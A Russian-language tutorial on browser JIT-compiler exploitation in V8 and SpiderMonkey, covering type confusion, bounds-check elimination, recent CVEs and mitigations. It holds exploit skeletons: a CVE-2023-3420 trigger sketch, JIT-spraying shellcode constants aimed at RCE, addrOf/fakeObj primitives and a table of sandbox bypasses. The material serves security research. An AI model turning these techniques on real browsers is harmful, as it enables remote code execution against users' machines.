
29
JIT (Just-In-Time) компиляторы – одна из самых лакомых целей в браузерном пентесте. По данным Microsoft, около 45% CVE в V8 связаны именно с JIT-движком. Сложность архитектуры + спекулятивные оптимизации = богатая поверхность атаки.
Как работает JIT (и где он ломается)
JavaScript-движок сначала интерпретирует код через базовый интерпретатор (в V8 — Ignition), накапливая статистику вызовов. Как только функция становится «горячей» (вызывается часто), JIT берёт управление и компилирует её в нативный машинный код с применением спекулятивных оптимизаций. В V8 цепочка компиляции выглядит так:
|
1 |
Ignition → Sparkplug → Maglev → TurboFan |
TurboFan — старший тир, самый агрессивный оптимизатор и самый уязвимый. В SpiderMonkey (Firefox) аналогичную роль играет IonMonkey.
Суть атаки: JIT доверяет своим предположениям о типах. Если заставить его удалить guard-проверку, а потом нарушить предположение — получаем type confusion с memory corruption.
Ключевые классы уязвимостей
1. Type Confusion
Самый распространённый класс. TurboFan строит Map (аналог «типа» объекта) и генерирует код, обращающийся к полям объекта по фиксированным офсетам. Если Map меняется незаметно для компилятора – код читает/пишет не туда.
CVE-2022-1364 (эксплуатировался in-the-wild): некорректное отслеживание типов в пайплайне TurboFan позволяло выполнить запись в произвольную память.
CVE-2023-3420: ошибка в моделировании побочных эффектов узла StackCheck – он был помечен kNoWrite, хотя мог вызывать HandleInterrupts, меняющий Map объекта. Итог: OOB-write через несинхронизированные офсеты PropertyArray vs NamedDictionary.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
// Концептуальная схема эксплойта CVE-2023-3420 class B {} B.prototype.a = 1; B.prototype.b = 2; // <- запись по этому офсету // затрёт capacity NamedDictionary! function bar(x) { return x instanceof B; // вызывает PrototypePropertyDependency } function foo(obj, proto, x, y) { obj.obj = proto; // CheckMaps для proto вставляется здесь var z = 0; for (let i = 0; i < 1; i++) { for (let j = 0; j < x; j++) { for (let k = 0; k < x; k++) { z = y[k]; // StackCheck в цикле -> HandleInterrupts -> Map меняется! } } } proto.b = 33; // Пишем по офсету fast-объекта, а он уже dictionary! return z; } |
2. Bounds Check Elimination (BCE)
JIT пытается доказать, что индекс массива всегда в пределах bounds, и убирает соответствующий guard. Если доказательство неверно – получаем Out-of-Bounds read/write.
Классическая техника: через integer overflow заставить TurboFan думать, что index < array.length всегда true. Результат – прямой OOB-доступ в heap.
3. Redundancy Elimination + Side Effect Modeling
TurboFan удаляет «дублирующие» проверки, если уверен, что между ними ничего не изменилось. Баги возникают, когда движок неправильно моделирует побочные эффекты. Именно так работал CVE-2023-3420: StackCheck считался “нейтральным”, но на деле мог менять объекты через interrupt handling.
SpiderMonkey: JIT Spraying
В Firefox IonMonkey помечает JIT-страницы как r-x (нет записи), что усложняет прямой шеллкод-инжект. Обходится через JIT Spraying – кодирование шеллкода в константных значениях (float64), которые JIT вставляет inline.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
// JIT Spraying для SpiderMonkey (CVE-2019-17026) function shellcode() { find_me = 5.40900888e-315; // 0x41414141 — маркер начала A = -6.828527034422786e-229; // \x48\x31\xc0... закодированный шеллкод B = 8.568532312320605e+170; C = 1.4813365150669252e+248; // ... остальные константы = байты шеллкода } // Прогреваем функцию -> JIT компилирует константы inline в rx-память for (i = 0; i < 0x1000; i++) shellcode(); // Затем патчим указатель JSJitInfo, чтобы он прыгал в середину наших констант // weak_write(jitinfo, shellcode_addr); shellcode(); // -> RCE |
После получения произвольного read/write в V8 heap та же техника актуальна для обхода heap sandbox.
Построение примитивов: addrOf и fakeObj
Это фундаментальная пара примитивов для любого браузерного эксплойта:
addrOf(obj) – возвращает адрес произвольного JS-объекта в V8 heapfakeObj(addr) – заставляет движок считать, что по адресу addr лежит JS-объектОбычно получаются через type confusion с double-массивом: читаем float64 из Uint64Array-alias поверх объектного слота – это и есть адрес.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
// Скелет addrOf/fakeObj через type confusion let obj_arr = [{}]; // массив объектов let dbl_arr = [1.1]; // массив double // После type confusion: obj_arr и dbl_arr смотрят на одну память function addrOf(obj) { obj_arr[0] = obj; return dbl_arr[0]; // читаем указатель как float64 } function fakeObj(addr) { dbl_arr[0] = addr; return obj_arr[0]; // интерпретируем float64 как указатель на объект } |
Цепочка эксплойта: от JS до RCE
Полная цепочка для renderer sandbox выглядит так:
capacityNamedDictionary-entryelements pointer у float64 array)jit_code_addrСвежие CVE (2024–2025)
| CVE | Движок | Тип | Вектор |
|---|---|---|---|
| CVE-2024-9602 | V8 (Chrome) | Type Confusion | Посещение вредоносной страницы |
| CVE-2024-7971 | V8 (Chrome) | Type Confusion | Remote, активно эксплуатировался |
| ZDI-24-664 | SpiderMonkey | OOB Write | Pwn2Own 2024 |
| CVE-2024-29943 | SpiderMonkey | OOB Read/Write | Remote RCE |
| CVE-2025-10585 | V8 (Chrome) | 0-day | Активная эксплуатация in-the-wild |
Инструментарий для ресёрча
|
1 2 3 4 5 6 7 8 9 10 11 |
# Сборка d8 (standalone V8) с дебаг-флагами tools/dev/gm.py x64.debug # Запуск с трейсингом TurboFan ./d8 --allow-natives-syntax --trace-turbo --trace-deopt target.js # Принудительная JIT-компиляция (без прогрева циклом) %PrepareFunctionForOptimization(foo); foo(arg); %OptimizeFunctionOnNextCall(foo); foo(arg); // теперь под TurboFan |
%DebugPrint(obj) – дамп внутреннего состояния JS-объекта включая Map, elements, code pointerЗащиты и их обходы
| Защита | Суть | Обход |
|---|---|---|
| V8 Heap Sandbox | Изолирует V8 heap, блокирует перезапись WASM RWX | JIT Spraying через float-константы |
| SpiderMonkey r-x JIT pages | Нет записи в JIT-память | JIT Spraying через константы |
| Speculation Guards / CheckMaps | Runtime-верификация типов | Поиск неучтённых side effects (CVE-2023-3420) |
| Pointer Compression | Сжатие указателей в 32 бита | Утечка cage base через объекты |
JIT-компиляторы – это вечный компромисс между скоростью и безопасностью. Пока браузерные вендоры не уберут JIT (а они не уберут – слишком дорого по производительности), эта поверхность атаки никуда не денется.